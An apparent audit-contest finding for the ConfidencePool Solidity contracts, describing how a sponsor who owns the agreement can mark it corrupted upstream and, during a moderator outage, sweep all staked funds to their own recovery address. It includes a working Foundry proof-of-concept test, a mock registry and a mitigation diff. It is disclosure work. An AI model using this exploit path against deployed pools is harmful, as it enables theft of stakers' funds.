FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Sponsor can manufacture the upstream CORRUPTED state used by the auto-CORRUPTED fallback and seize staker funds during moderator outage

Author Revealed upon completion

Root + Impact

Description

The pool has a mechanical fallback for a permanently unavailable moderator. After expiry + MODERATOR_CORRUPTED_GRACE, anyone can finalize the pool as bad faith CORRUPTED when the upstream registry reports CORRUPTED and riskWindowStart was observed. The full pool balance is then swept to recoveryAddress.

In the integrated BattleChain flow, the pool sponsor is also the agreement owner. The factory requires the current agreement owner to create the pool, and the upstream AttackRegistry installs the agreement owner as the agreement's attackModerator at registration. That role can call markCorrupted() from UNDER_ATTACK or PROMOTION_REQUESTED without confirmation from the pool moderator or registry moderator.

This lets the same party that controls recoveryAddress create the upstream CORRUPTED state that later sends all staker principal and bonus to that address during a pool moderator outage.

This is distinct from the documented scope blind fallback. The accepted design risk covers a real agreement-level corruption that may be out of the pool's local scope. Here, the payout recipient can manufacture the upstream CORRUPTED state without any on-chain independent confirmation. The documented sponsor trust surface covers recoveryAddress, expiry, and scope, but it does not grant the sponsor outcome authority. The design instead treats the pool DAO moderator as the corruption decision maker.

// src/ConfidencePoolFactory.sol
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
// @> Only the agreement owner can create the pool.
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
// @> The same agreement owner becomes the pool owner.
msg.sender,
accounts
);
// lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol
s_agreementInfo[agreementAddress] = AgreementInfo({
// @> The agreement owner is installed as attackModerator.
attackModerator: agreementOwner,
deadlineTimestamp: block.timestamp + PROMOTION_WINDOW,
promotionRequestedTimestamp: 0,
attackRequested: true,
attackApproved: false,
promoted: false,
corrupted: false,
isRegistered: true
});
function markCorrupted(address agreementAddress) external onlyAttackModerator(agreementAddress) {
ContractState currentState = _getAgreementState(agreementAddress);
if (currentState != ContractState.UNDER_ATTACK && currentState != ContractState.PROMOTION_REQUESTED) {
revert AttackRegistry__InvalidState(currentState);
}
// @> No independent confirmation is required.
s_agreementInfo[agreementAddress].corrupted = true;
}
// src/ConfidencePool.sol
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
// @> The upstream state mechanically finalizes bad faith CORRUPTED.
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
return;
}
function claimCorrupted() external nonReentrant {
uint256 toSweep = stakeToken.balanceOf(address(this));
// @> The full live balance goes to the sponsor-controlled recoveryAddress.
stakeToken.safeTransfer(recoveryAddress, toSweep);
}

Risk

Likelihood:

  • The agreement is approved into UNDER_ATTACK, and a pool interaction records riskWindowStart != 0.

  • The sponsor calls AttackRegistry.markCorrupted(agreement) as the upstream attackModerator installed at registration.

  • The pool outcome moderator remains unavailable, or fails to correct the false CORRUPTED state, through expiry + MODERATOR_CORRUPTED_GRACE.

Impact:

  • All staker principal and all bonus funds can be transferred to the sponsor-controlled recoveryAddress.

  • Stakers cannot withdraw once the risk window is observed, and the mechanical resolution sets claimsStarted, blocking any later correction.

Proof of Concept

test/unit/ConfidencePoolFactory.attackModeratorDrift.t.sol:ConfidencePoolFactoryAttackModeratorDriftTest.testSponsorRegistrationAuthorityCanDrivePostGraceRecoverySweep

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract ConfidencePoolFactoryAttackModeratorDriftTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePoolFactory internal factory;
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal registryModerator = makeAddr("registryModerator");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
address internal bonusContributor = makeAddr("bonusContributor");
function setUp() external {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function testSponsorRegistrationAuthorityCanDrivePostGraceRecoverySweep() external {
uint256 expiry = block.timestamp + 31 days;
address[] memory accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
vm.prank(sponsor);
address poolAddress = factory.createPool(address(agreement), address(token), expiry, ONE, sponsor, accounts);
ConfidencePool pool = ConfidencePool(poolAddress);
assertEq(pool.owner(), sponsor, "factory assigns pool ownership to agreement owner");
assertEq(pool.recoveryAddress(), sponsor, "sponsor controls recovery destination from creation");
// Upstream parity: AttackRegistry.requestUnderAttack() calls _registerAgreement(), which
// stores attackModerator = Agreement.owner(). The mock implements only that relevant branch.
vm.prank(sponsor);
attackRegistry.requestUnderAttack(address(agreement));
assertEq(
attackRegistry.getAttackModerator(address(agreement)),
sponsor,
"registration derives attack moderator from agreement owner"
);
vm.prank(registryModerator);
attackRegistry.approveAttack(address(agreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"agreement is in active risk"
);
_stake(pool, alice, 100 * ONE);
_stake(pool, bob, 50 * ONE);
_contributeBonus(pool, bonusContributor, 30 * ONE);
assertGt(pool.riskWindowStart(), 0, "stake observed active risk");
vm.prank(sponsor);
attackRegistry.markCorrupted(address(agreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"sponsor can mark corrupted through derived attack moderator role"
);
vm.warp(expiry + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(sponsor);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
assertTrue(pool.claimsStarted(), "mechanical corrupted resolution is final");
uint256 sponsorBefore = token.balanceOf(sponsor);
vm.prank(sponsor);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsor) - sponsorBefore, 180 * ONE);
assertEq(token.balanceOf(address(pool)), 0);
assertEq(token.balanceOf(alice), 0);
assertEq(token.balanceOf(bob), 0);
}
function _stake(ConfidencePool pool, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(ConfidencePool pool, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
/// @notice Minimal test double for the BattleChain AttackRegistry. The pool reaches it by address
/// and only calls `getAgreementState`; `getAttackModerator` is implemented for the fork drift
/// test. Plus test-only setters to stage both. It intentionally does NOT inherit `IAttackRegistry`
/// — matching selectors is sufficient for an address-cast call site, and inheriting the full
/// interface would force struct-typed stubs that clash under `via_ir`. The `ContractState` enum is
/// referenced through the imported interface so it stays in lockstep with upstream.
contract MockAttackRegistry {
IAttackRegistry.ContractState internal state;
address internal moderator;
error UnauthorizedAttackModerator(address caller);
error InvalidState(IAttackRegistry.ContractState state);
function setAgreementState(IAttackRegistry.ContractState nextState) external {
state = nextState;
}
function setAttackModerator(address nextModerator) external {
moderator = nextModerator;
}
/// @dev Mirrors upstream AttackRegistry.requestUnderAttack -> _registerAgreement, where
/// `attackModerator` is stored as the current Agreement.owner().
function requestUnderAttack(address agreement) external {
moderator = IAgreement(agreement).owner();
state = IAttackRegistry.ContractState.ATTACK_REQUESTED;
}
/// @dev Mirrors the registry moderator approval transition into UNDER_ATTACK. Access control
/// is intentionally omitted because this PoC only needs the resulting lifecycle state.
function approveAttack(address) external {
if (state != IAttackRegistry.ContractState.ATTACK_REQUESTED) revert InvalidState(state);
state = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) {
return state;
}
function getAttackModerator(address) external view returns (address) {
return moderator;
}
/// @dev Mirrors upstream markCorrupted: only the stored attackModerator may mark an agreement
/// CORRUPTED from UNDER_ATTACK or PROMOTION_REQUESTED.
function markCorrupted(address) external {
if (msg.sender != moderator) revert UnauthorizedAttackModerator(msg.sender);
if (
state != IAttackRegistry.ContractState.UNDER_ATTACK
&& state != IAttackRegistry.ContractState.PROMOTION_REQUESTED
) {
revert InvalidState(state);
}
state = IAttackRegistry.ContractState.CORRUPTED;
}
}
// 1. Agreement is created with sponsor as owner.
// 2. Sponsor creates the pool through ConfidencePoolFactory with recoveryAddress = sponsor.
// 3. Sponsor calls requestUnderAttack(); registration derives attackModerator from Agreement.owner().
// 4. Registry approves UNDER_ATTACK, and staking records riskWindowStart != 0.
// 5. Before pool expiry, sponsor calls AttackRegistry.markCorrupted(agreement) as the derived attackModerator.
// 6. Pool moderator remains unavailable until expiry + 180 days.
// 7. Sponsor calls claimExpired(), finalizing bad faith CORRUPTED.
// 8. Sponsor calls claimCorrupted(), sweeping the full pool balance to recoveryAddress.

Recommended Mitigation

Do not forfeit principal based only on the undifferentiated upstream CORRUPTED state when that state can be set by an agreement lifecycle actor without pool moderator or registry moderator confirmation.

- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && riskWindowStart != 0
+ && _registryModeratorConfirmedCorruption(agreement)
+ ) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
}

If the registry cannot expose independent corruption provenance, use a neutral escrow or a principal returning fallback instead of sending the full pool to the sponsor-controlled recovery address.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!